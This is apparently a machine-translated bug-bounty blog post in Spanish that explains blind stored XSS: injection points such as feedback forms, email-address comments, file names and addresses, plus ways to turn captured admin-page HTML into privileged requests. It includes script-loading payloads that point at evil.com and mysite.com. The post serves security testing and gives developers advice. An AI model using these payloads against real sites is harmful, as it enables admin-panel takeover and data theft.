Bug Hunt, Blind-XSS y Fox Tricks


Los zorros saben mucho sobre la caza :)

Muchos probablemente han oído hablar de BugBounty , una búsqueda de vulnerabilidades de recompensas e historias relacionadas al respecto. Como uno de los "cazadores de insectos", comencé mi viaje hace poco más de un año en el sitio HackerOne . Durante este tiempo, logré aprender mucho sobre diferentes tipos de vulnerabilidades, ganar mucha experiencia y ahora me gustaría compartir esto con la comunidad.

En este artículo, quiero hablar sobre un tipo de vulnerabilidad, como los scripts de sitios cruzados ciegos o los scripts de sitios cruzados almacenados a ciegas, si se traducen al ruso. Te invito a cat, si estás interesado en dichos temas o quieres mejorar la seguridad de tu aplicación.

Muchas aplicaciones web tienen un panel administrativo o sus otras variaciones que le permiten controlar el contenido del sitio web, administrar los datos del usuario y realizar muchas otras acciones privilegiadas. El portal administrativo puede protegerse mediante el acceso a un grupo específico de direcciones IP, cookies HTTP-Only y, por supuesto, autorización.

Sin embargo, todos estos mecanismos de protección pueden eludirse si el contenido ingresado por el usuario es malicioso y la aplicación no limpia adecuadamente la información enviada por el usuario.

Herramientas de uso


Primero, conozcamos las herramientas que nos permitirán explotar con éxito el Blind-XSS descubierto. Se diferencia de otras vulnerabilidades por el método de explotación. Al enviar un mensaje malicioso, no sabemos si JavaScript se integró correctamente en las páginas HTML o no. El código malicioso se ejecutará solo cuando el administrador visite la página con este código. De lo contrario, es posible que nunca sepamos si el ataque fue exitoso o no.

Todo tipo de marcos creados exclusivamente para la inyección Blind-XSS nos puede proporcionar asistencia operativa:

  1. XSS Hunter ( GitHub ): uno de los marcos más populares
  2. ezXSS
  3. bXSS (con notificación por SMS)
  4. elScripto

Y muchos otros Cada marco tiene sus propias peculiaridades, por lo que cada baghunter elige el que sea más conveniente y adecuado para sus necesidades. Como uso XSS Hunter , más adelante en el artículo daré sus características y cómo usarlas para obtener el mejor resultado.

Una vez configurado el marco, obtendrá cargas útiles que se pueden aplicar en diferentes situaciones, pero los políglotas se usan con mayor frecuencia, por ejemplo:

\-->'></style></div></article></script><script/src=//evil.com> 

Punto de entrada o punto de inyección


Todos los puntos de entrada están unidos por el hecho de que la información ingresada en ellos no se borra correctamente del código JavaScript y permite la implementación de este código en la estructura HTML de la página administrativa. En mi opinión, el punto de entrada más popular es un mensaje de soporte.

Considere los que conozco.

1. Formulario de comentarios

Como regla general, en este formulario hay campos como:

  1. rumbo
  2. mensaje
  3. a veces una dirección de correo electrónico en caso de que el administrador quiera contactar al autor del mensaje.

Cada uno de estos campos puede ser vulnerable a la inyección de JavaScript. Pero hay un pequeño truco aquí:
Si ve el campo Dirección de correo electrónico, no se apresure a rendirse si no acepta otra cosa que no sea la estructura de Correo electrónico. Prueba: - "payload"@domain.com
- name@"payload"domain.com
- name(payload)@domain.com
- name@(payload)domain.com
- name@domain.com(payload)
- "payload"@domain.com
- name@"payload"domain.com
- name(payload)@domain.com
- name@(payload)domain.com
- name@domain.com(payload)
Las comillas y los corchetes son una parte válida de la dirección de correo electrónico y son comentarios de acuerdo con las especificaciones de RFC 2822 (sección 3.4.1), RFC 3696 (sección 3).

La mitad de mis inyecciones exitosas son solo la inyección a través del comentario de la dirección de correo electrónico. Muy a menudo, verificar en el lado del cliente (navegador) todavía no permitirá el uso de dicho correo electrónico. Pero sabemos que verificar al cliente no significa nada para nosotros:

Brevemente sobre la validación del lado del cliente y los piratas informáticos


Por lo tanto, la dirección de correo electrónico solo necesita ser reemplazada en el proceso de enviar una solicitud utilizando cualquier aplicación proxy (por ejemplo, Burp Suite).

2. Formularios para quejas / sugerencias / evaluaciones

Seguramente viste la frase "¿Es útil el artículo?" (Califique este artículo) en portales de soporte o con documentación. Al hacer clic en el botón "No", pueden ofrecernos enviar un mensaje de por qué el artículo no fue útil y qué se puede mejorar. Probablemente ya entendió dónde estaría nuestra carga útil en este caso.

Por lo tanto, si ve ofertas similares para enviar comentarios, definitivamente debe prestarles atención y enviar una carga útil, que al final puede ser exitosa.

3. Registro de cuenta

Sí, al registrar una cuenta, es extremadamente improbable que nuestra cuenta sea vista en algún lugar del panel administrativo, sin embargo, al insertar la carga útil en la dirección de correo electrónico, más tarde podemos usar esto para enviar mensajes al sitio como usuario registrado. Al mismo tiempo, los formularios mismos mostrarán automáticamente nuestra dirección en el panel administrativo, a pesar de que no se solicitó directamente al enviar cualquier formulario o mensaje.

4. Atención al cliente

El punto de entrada más obvio y explotado con mayor frecuencia. Cada formulario para solicitar servicios de soporte puede ser muy diferente entre sí, así que preste atención a los campos en los que puede insertar una carga útil.

La capacidad de descargar archivos merece especial atención. Otro truco es que la carga útil se puede dejar en el nombre del archivo, por ejemplo:

 Screenshot - 12.03.2019 12_05_52"><script src=//mysite.com/1.js>.jpeg.html 

Y deje el mismo script en el archivo mismo (gracias a w9w por encontrarlo).

5. Dirección de entrega / empresa / domicilio

Una dirección también se usa a menudo cuando interactúa con un usuario cuando necesita enviar algo en el caso de un servicio de entrega, una tienda, reserva de hotel u otra aplicación que procesa direcciones.

El campo de dirección es bastante común y, a veces, la validación se produce a nivel de una dirección existente. Por lo tanto, es posible que deba ingresar la dirección real al principio e indicarla en el mapa, y ya en el proceso de envío de la solicitud agregue la carga útil a la dirección válida para evitar las verificaciones de la aplicación.

6. API ocultas

A veces, al aprender el código JavaScript, puede encontrar puntos finales de API que no están en uso en la aplicación. Esto puede ser, por ejemplo, el envío de información sobre errores, depuración y similares. Es posible formar una solicitud basada en JS y enviar un mensaje con una carga útil.

Operación posterior y mecanismos de protección de derivación


Después de recibir comentarios de la operación exitosa de Blind-XSS, muchos tienen prisa por informar un hallazgo al programa con recompensas por las vulnerabilidades encontradas. Sin embargo, con mayor frecuencia, tales vulnerabilidades reciben alta prioridad, pero no son críticas. Tenemos varias formas de probar el daño crítico de una posible explotación de una vulnerabilidad.

1. Aprender los paneles HTML de origen

Con cada operación exitosa, XSS Hunter nos envía información como:

1. Cookie de usuario
2. Usuario usuario-agente
3. Dirección IP del usuario.
4. URL de la página en la que se ejecuta el script
5. Código fuente HTML de la página
6. captura de pantalla de la página
7. Remitente



Como regla general, no hay cookies de sesión, ya que tienen el atributo HTTP-Only. En este caso, lo más útil para nosotros es el código fuente de la página HTML. En él, entre otras cosas, puedes encontrar JavaScript. Este código le permite comprender cómo se generan las solicitudes para realizar acciones administrativas. Es necesario estudiarlo e intentar realizar estas acciones creando una solicitud manualmente en Burp Suite o en otro software similar.

En mi caso, el panel de administración estaba en el mismo dominio desde donde envié la carga útil, por lo que pude abrir todos los scripts sin inyección adicional (aunque esto se puede hacer en una inyección). Para mi sorpresa, aunque el acceso a las secciones administrativas todavía requería autorización, logré enviar solicitudes a las API administrativas y administrar el contenido como si ya fuera un administrador.

Lamentablemente, el programa en el que pude detectar estas vulnerabilidades es privado y no puedo nombrarlo ni mostrar con más detalle el proceso de extracción de solicitudes del código JS.

Como resultado de este hallazgo, logré obtener $ 2500 en lugar de $ 1000 como si fuera una vulnerabilidad de alta prioridad.

2. Obtenga más información.

Incluso si el panel administrativo está detrás del firewall y básicamente no hay forma de acceder a él, aún puede obtener más información y aumentar la importancia de la vulnerabilidad descubierta.

XSS Hunter le permite agregar su propio código JS a la carga útil y especificar páginas adicionales para recuperar:



Después de la primera operación exitosa, puede extraer páginas adicionales que se obtuvieron en el curso del estudio del código fuente de la página HTML. Del mismo modo, puede ejecutar solicitudes con privilegios de administrador, pero esto requiere un código JS más complejo.

Además, creo que puede agregar una extracción HTML recursiva de otras páginas del panel administrativo, en las que puede aparecer información confidencial, pero aún no he tenido que recurrir a esto.

Conclusión


  1. Aconsejo a los desarrolladores que verifiquen todos sus campos relacionados con las direcciones de correo electrónico, ya que muchas veces se basan en una verificación estándar de la estructura de la dirección de correo electrónico, sin tener en cuenta que es posible generar una dirección completamente válida, pero con código malicioso.
  2. Presta atención a los campos menores relacionados con los comentarios. Son diferentes y es imposible enumerarlos a todos.
  3. No sea perezoso para extraer información adicional de la página HTML recibida, con una alta probabilidad de que a veces pueda aumentar su recompensa.
  4. Intenta demostrar un impacto crítico para cada uno de tus Blind-XSS.

Propongo suscribirse a mi canal en Telegram (solo en ruso), así como a una cuenta de Twitter (en inglés), ya que es difícil recopilar material para artículos tan grandes, pero puedo publicar trucos cortos y los encuentro con bastante frecuencia.

Los enlaces se pueden encontrar a continuación.

¡Que tengas una buena caza!

Source: https://habr.com/ru/post/470818/


All Articles